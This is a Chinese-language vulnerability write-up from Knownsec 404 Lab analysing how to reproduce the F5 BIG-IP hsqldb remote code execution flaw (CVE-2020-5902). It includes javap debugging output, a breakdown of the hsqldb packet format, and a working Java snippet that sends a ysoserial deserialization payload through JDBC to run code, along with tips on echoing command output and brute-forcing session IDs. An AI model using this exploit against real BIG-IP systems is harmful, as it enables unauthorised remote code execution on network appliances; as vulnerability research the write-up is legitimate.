F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析
作者：Longofo@知道创宇404实验室
时间：2020年7月10日
English Version: https://paper.seebug.org/1272/
原文链接：https://paper.seebug.org/1271/
F5 BIG-IP最近发生了一次比较严重的RCE漏洞，其中主要公开出来的入口就是tmsh与hsqldb方式，tmsh的利用与分析分析比较多了，如果复现过tmsh的利用，就应该知道这个地方利用有些鸡肋，后面不对tmsh进行分析，主要看下hsqldb的利用。hsqldb的利用poc已经公开，但是java hsqldb的https导致一直无法复现，尝试了各种方式也没办法了，只好换其他思路，下面记录下复现与踩坑的过程。
利用源码搭建一个hsqldb http servlet
如果调试过hsqldb，就应该知道hsqldb.jar的代码是无法下断点调试的，这是因为hsqldb中类的linenumber table信息没有了，linenumber table只是用于调式用的，对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别：
使用javap -verbose hsqlServlet.class命令看下hsqldb中hsqlServlet.class类的详细信息：
Classfile /C:/Users/dell/Desktop/hsqlServlet.class
Last modified 2018-11-14; size 128 bytes
MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #3.#7 // org/hsqldb/Servlet."":()V
#2 = Class #8 // hsqlServlet
#3 = Class #9 // org/hsqldb/Servlet
#4 = Utf8
#5 = Utf8 ()V
#6 = Utf8 Code
#7 = NameAndType #4:#5 // "":()V
#8 = Utf8 hsqlServlet
#9 = Utf8 org/hsqldb/Servlet
{
public hsqlServlet();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method org/hsqldb/Servlet."":()V
4: return
}
使用javap -verbose Test.class看下自己编译的类信息：
Classfile /C:/Users/dell/Desktop/Test.class
Last modified 2020-7-13; size 586 bytes
MD5 checksum eea80d1f399295a29f02f30a3764ff25
Compiled from "Test.java"
public class Test
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #7.#22 // java/lang/Object."":()V
#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;
#3 = String #25 // aaa
#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = String #19 // test
#6 = Class #28 // Test
#7 = Class #29 // java/lang/Object
#8 = Utf8
#9 = Utf8 ()V
#10 = Utf8 Code
#11 = Utf8 LineNumberTable
#12 = Utf8 LocalVariableTable
#13 = Utf8 this
#14 = Utf8 LTest;
#15 = Utf8 main
#16 = Utf8 ([Ljava/lang/String;)V
#17 = Utf8 args
#18 = Utf8 [Ljava/lang/String;
#19 = Utf8 test
#20 = Utf8 SourceFile
#21 = Utf8 Test.java
#22 = NameAndType #8:#9 // "":()V
#23 = Class #30 // java/lang/System
#24 = NameAndType #31:#32 // out:Ljava/io/PrintStream;
#25 = Utf8 aaa
#26 = Class #33 // java/io/PrintStream
#27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V
#28 = Utf8 Test
#29 = Utf8 java/lang/Object
#30 = Utf8 java/lang/System
#31 = Utf8 out
#32 = Utf8 Ljava/io/PrintStream;
#33 = Utf8 java/io/PrintStream
#34 = Utf8 println
#35 = Utf8 (Ljava/lang/String;)V
{
public Test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
LineNumberTable:
line 1: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this LTest;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String aaa
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 args [Ljava/lang/String;
public void test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #5 // String test
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 7: 0
line 8: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 this LTest;
}
SourceFile: "Test.java"
可以看到自己编译的类中，每个method中都有一个 LineNumberTable，这个信息就是用于调试的信息，但是hsqldb中没有这个信息，所以是无法调试下断点的，hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。
没办法调试是一件很难受的事情，我现在想到的有两种：
-
反编译hsqldb的代码，自己再重新编译，这样就有linenumber信息了，但是反编译再重新编译可能会遇到一些错误问题，这部分得自己手动把代码修改正确，这样确实是可行的，在后面f5的hsqldb分析中可以看到这种方式
-
代码开源，直接用源码跑
hsqldb的代码正好是开源的，那么这里就直接用源码来开启一个servlet吧。
环境：
- hsqldb source代码是1.8的，现在新版已经2.5.x了，为了和f5中的hsqldb吻合，还是用1.8的代码吧
- JDK7u21，F5 BIG-IP 14版本使用的JDK7，所以这里尽量和它吻合避免各种问题
虽然开源了，但是拖到idea依然还有些问题，我修改了一些代码，让他正常跑起来了，修改好的代码放到github上了，最后项目结构如下：
使用http方式利用hsqldb漏洞(ysoserial cc6，很多其他链也行)：
public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
}
利用requests发包模拟hsqldb RCE
java hsqldb https问题无法解决，那就用requests来发https包就可以了，先模拟http的包。
抓取上面利用java代码发送的payload包，一共发送了三个，第一个是连接包，连接hsqldb数据库的，第二、三包是执行语句的包：
根据代码看下第一个数据包返回的具体信息，主要读取与写入的信息都是由Result这个类处理的，一共20个字节：
- 1~4：总长度00000014，共20字节
- 5~8：mode，connection为ResultConstants.UPDATECOUNT，为1，00000001
- 9~12：databaseID，如果直接像上面这样默认配置，databaseID在服务端不会赋值，由jdk初始化为0，00000000
- 13~16：sessionID，这个值是DatabaseManager.newSession分配的值，每次连接都是一个新的值，本次为00000003
- 17~20：connection时，为updateCount，注释上面写的 max rows (out) or update count (in)，如果像上面这样默认配置，updateCount在服务端不会赋值，由jdk初始化为0，00000000
连接信息分析完了，接下来的包肯定会利用到第一次返回包的信息，把他附加到后面发送包中，这里只分析下第二个发送包，第三个包和第二个是一样的，都是执行语句的包：
- 1~4：总长度00000082，这里为130
- 5~8：mode，这里为ResultConstants.SQLEXECDIRECT，0001000b
- 9~12：databaseID，为上面的00000000
- 13~16：sessionID，为上面的00000003
- 17~20：updateCount，为上面的00000000
- 21~25：statementID，这是客户端发送的，其实无关紧要，本次为00000000
- 26~30：执行语句的长度
- 31~：后面都是执行语句了
可以看到上面这个处理过程很简单，通过这个分析，很容易用requests发包了。对于https来说，只要设置verify=False就行了。
反序列化触发位置
这里反序列化触发位置在：
其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的，而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以，例如org.hsqldb.sample.FindFile.main。
F5 BIG-IP hsqldb调试
如果还想调试下F5 BIG-IP hsqldb，也是可以的，F5 BIG-IP里面的hsqldb自己加了些代码，反编译他的代码，然后修改反编译出来的代码错误，再重新打包放进去，就可以调试了。
F5 BIG-IP hsqldb回显
- 既然能反序列化了，那就可以结合Template相关的利用链写到response
- 利用命令执行找socket的fd文件，写到socket
- 这次本来就有一个fileRead.jsp，命令执行完写到这里就可以了
hsqldb的连接安全隐患
从数据包可以看到，hsqldb第一次返回信息并不多，在后面附加用到的信息也就databaseID，sessionID，updateCount，且都只为4字节（32位），但是总有数字很小的连接排在前面，所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP，直接用上面默认的就行了，无需爆破。
总结
虽然写得不多，写完了看起来还挺容易，不过过程其实还是很艰辛的，一开始并不是根据代码看包的，只是发了几个包对比然后就写了个脚本，结果跑不了F5 BIG-IP hsqldb，后面还是调试了F5 hsqldb代码，很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的，如果我们直接爆破databaseID，sessionID，updateCount，也很容易爆破出可用的databaseID，sessionID，updateCount。